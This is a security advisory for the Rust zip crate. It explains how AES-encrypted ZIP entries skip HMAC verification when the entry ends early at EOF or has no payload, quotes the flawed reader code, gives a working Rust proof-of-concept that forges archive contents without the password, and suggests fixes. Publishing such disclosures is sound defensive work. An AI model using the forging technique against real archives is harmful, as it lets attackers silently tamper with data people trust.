GHSA-8hxf-qr8p-62x4: zip: AES Entry HMAC Authentication Bypass on Premature EOF

Summary

An AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared compressedsize, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.

Details

src/aes.rs:246-292:

rust fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> { if self.dataremaining == 0 { // @audit insufficient check return Ok(0); }

// get the number of bytes to read, compare as u64 to make sure we can read more than // 2^32 bytes even on 32 bit systems. let bytestoread = self.dataremaining.min(buf.len() as u64) as usize; let read = self.reader.read(&mut buf[0..bytestoread])?; self.dataremaining -= read as u64;

// Update the hmac with the encrypted data self.hmac.update(&buf[0..read]);

// decrypt the data self.cipher.cryptinplace(&mut buf[0..read]);

// if there is no data left to read, check the integrity of the data if self.dataremaining == 0 { debugassert!( !self.finalized, "Tried to use an already finalized HMAC. This is a bug!" ); if self.finalized { return Err(Error::new( ErrorKind::InvalidData, "Tried to use an already finalized HMAC", )); } self.finalized = true;

// Zip uses HMAC-Sha1-80, which only uses the first half of the hash // see https://www.winzip.com/win/en/aesinfo.html#auth-faq let mut readauthcode = [0; AUTHCODELENGTH]; self.reader.readexact(&mut readauthcode)?; let computedauthcode = &self.hmac.finalizereset().intobytes()[0..AUTHCODELENGTH];

// use constant time comparison to mitigate timing attacks if !constanttimeeq(computedauthcode, &readauthcode) { return Err(Error::new( ErrorKind::InvalidData, "Invalid authentication code, this could be due to an invalid password or errors in the data", )); } }

Ok(read) }

dataremaining starts at compressedsize - (2 + 10 + saltlength) (src/aes.rs:144-145), where compressedsize comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: ZipFileData::findcontent() is just reader.take(self.compressedsize) (src/types.rs:214-223), and makecryptoreader() passes the declared value into AesReader::new() (src/read/readers.rs).

When the entry's bounded reader reaches true EOF before the declared size, the inner reader returns Ok(0), the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the Take limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of read() means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.

This defeats the guarantee the type documents: "After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed."

AE-2 entries skip the CRC-32 check by design (src/read/readers.rs → Crc32Reader::new(.., shoulddisable = true)), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including byindexdecrypt(), bynamedecrypt(), bypathdecrypt(), and byindexwithoptions() when a password is supplied. Bare extract() calls byindex() without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.

PoC

tests/aeshmacbypass.rs below; Cargo.toml needs only zip = { git = "https://github.com/zip-rs/zip2", rev = "6f09b3064ec87c3a69ea9f3413f9f9638b4aa446" }, or zip = "8.6.0" to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.

rust use std::io::{Cursor, Read, Write}; use zip::write::SimpleFileOptions; use zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};

const PASSWORD: &str = "correct horse battery staple"; const GENUINE: &[u8] = b"balance: 100 USD\n"; const FORGED: &[u8] = b"balance: 999 USD\n"; const AES256OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag

fn genuinearchive(plaintext: &[u8]) -> Vec<u8> { let mut w = ZipWriter::new(Cursor::new(Vec::new())); let opts = SimpleFileOptions::default() .compressionmethod(CompressionMethod::Stored) .withaesencryption(AesMode::Aes256, PASSWORD); w.startfile("secret.txt", opts).unwrap(); w.writeall(plaintext).unwrap(); w.finish().unwrap().intoinner() }

/// What a victim does: open with the correct password and read the entry. fn victimreads(archive: &[u8]) -> std::io::Result<Vec<u8>> { let mut a = ZipArchive::new(Cursor::new(archive.tovec())).unwrap(); let mut f = a.byindexdecrypt(0, PASSWORD.asbytes()).unwrap(); let mut out = Vec::new(); f.readtoend(&mut out)?; Ok(out) }

fn u16le(b: &[u8], off: usize) -> usize { u16::fromlebytes([b[off], b[off + 1]]) as usize }

/// Payload offset of the single local file header at offset 0. fn payloadstart(a: &[u8]) -> usize { 30 + u16le(a, 26) + u16le(a, 28) }

/// Control: on a well-formed archive the HMAC does reject forged ciphertext. #[test] fn tamperingisdetectedwhenthedeclaredsizeishonest() { let mut a = genuinearchive(GENUINE); let ct = payloadstart(&a) + 18; for i in 0..GENUINE.len() { a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable } let err = victimreads(&a).unwraperr(); assert!(err.tostring().contains("Invalid authentication code")); }

/// The bypass: chosen plaintext is delivered verbatim, without the password. #[test] fn hmacisbypassedwhentheentryendsearly() { let genuine = genuinearchive(GENUINE); let hdrlen = payloadstart(&genuine); let eocd = genuine.len() - 22; // no archive comment yet let cdoffset = u32::fromlebytes(genuine[eocd + 16..eocd + 20].tryinto().unwrap()) as usize;

// Park a second copy of the entry after the end-of-central-directory record, // inside the archive comment, so its data ends at true EOF. Header, salt and // password verifier are copied verbatim — no password knowledge is required. let mut evil = genuine.clone(); let newhdroffset = evil.len() as u32; evil.extendfromslice(&genuine[..hdrlen + 18]); // local header + salt + verifier for i in 0..GENUINE.len() { // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted. evil.push(genuine[hdrlen + 18 + i] ^ GENUINE[i] ^ FORGED[i]); } let commentlen = (evil.len() - genuine.len()) as u16; evil[eocd + 20..eocd + 22].copyfromslice(&commentlen.tolebytes());

// Repoint the central directory at the parked copy and declare more data than // is present, so dataremaining can never reach zero. let declared = (AES256OVERHEAD + GENUINE.len() + 64) as u32; evil[cdoffset + 42..cdoffset + 46].copyfromslice(&newhdroffset.tolebytes()); evil[cdoffset + 20..cdoffset + 24].copyfromslice(&declared.tolebytes()); let hdr2 = newhdroffset as usize; evil[hdr2 + 18..hdr2 + 22].copyfromslice(&declared.tolebytes());

let content = victimreads(&evil).expect("BUG: unauthenticated content was accepted"); asserteq!(content, FORGED); }

/// Second path: an entry with no payload bytes is never authenticated at all. #[test] fn hmacisnevercheckedforazerolengthentry() { let mut a = genuinearchive(b""); let tag = payloadstart(&a) + 18; a[tag] ^= 0xff; // corrupt the 10-byte authentication code let content = victimreads(&a).expect("BUG: a corrupt authentication code was accepted"); assert!(content.isempty()); }

Turning the genuine plaintext into a chosen plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.

Impact

Any application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.

Suggested remediation

1. In AesReaderValid::read(), treat a short inner read as an error rather than a clean EOF: after the decrement, if read == 0 && self.dataremaining > 0, return ErrorKind::UnexpectedEof. 2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when datalength == 0. 3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in ZipFileData::findcontent() / findcontentseek() (src/types.rs). Also make the compressedsize - overhead subtraction in AesReader::new() (src/aes.rs:144) checked — today a declared size below the AES overhead underflows it, which panics under overflow-checks and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.